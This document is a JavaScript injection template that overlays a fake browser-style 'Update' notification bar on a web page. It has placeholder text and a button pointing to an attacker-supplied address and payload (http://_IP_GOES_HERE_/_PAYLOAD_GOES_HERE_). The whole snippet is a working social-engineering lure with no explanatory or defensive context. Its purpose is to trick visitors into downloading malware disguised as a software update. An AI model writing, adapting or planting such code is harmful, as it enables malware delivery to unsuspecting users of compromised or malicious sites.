<script>
var newHTML = document.createElement('div');

newHTML.innerHTML = '        \
<style type="text/css">   \
     \
  #headerupdate {   \
  display:none;    \
  position: fixed !important;    \
  top: 0 !important;    \
  left: 0 !important;    \
  z-index: 2000 !important;    \
  width: 100% !important;    \
  height: 40px !important;   \
    overflow: hidden !important;   \
    font-size: 14px !important;    \
  color: black !important;     \
    font-weight: normal !important;    \
    background-color:#F0F0F0 !important;    \
    border-bottom: 1px solid #A0A0A0 !important;    \
       \
  }   \
     \
  #headerupdate h1 {   \
    float: left !important;   \
    margin-left: 2px !important;   \
  margin-top: 14px !important;     \
    padding-left: 30px !important;   \
    font-weight:normal !important;   \
    font-size: 13px !important;   \
       \
    background:url("") no-repeat left top !important;   \
  }   \
     \
  #headerupdate ul {   \
    padding: 0 !important;   \
    text-align: right !important;   \
  }   \
     \
  #headerupdate li {   \
    display: inline-block !important;   \
    margin: 0px 15px !important;   \
    text-align: left !important;   \
  }   \
     \
</style>   \
<div id="headerupdate">   \
  <h1>   \
    <strong>   \
    _TEXT_GOES_HERE_   \
    </strong>   \
  </h1>   \
     \
  <ul>   \
       \
    <li>   \
      <a target="_blank" href="http://_IP_GOES_HERE_/_PAYLOAD_GOES_HERE_">   \
        <button type="button" style="font-size: 100%; margin-top: 5px; padding: 2px 5px 2px 5px; color: black;">   \
          Update   \
        </button>   \
           \
      </a>   \
    </li>   \
  </ul>   \
</div>   \
';

 document.body.appendChild(newHTML);
 document.getElementById("headerupdate").style.display = "block";
 
 </script>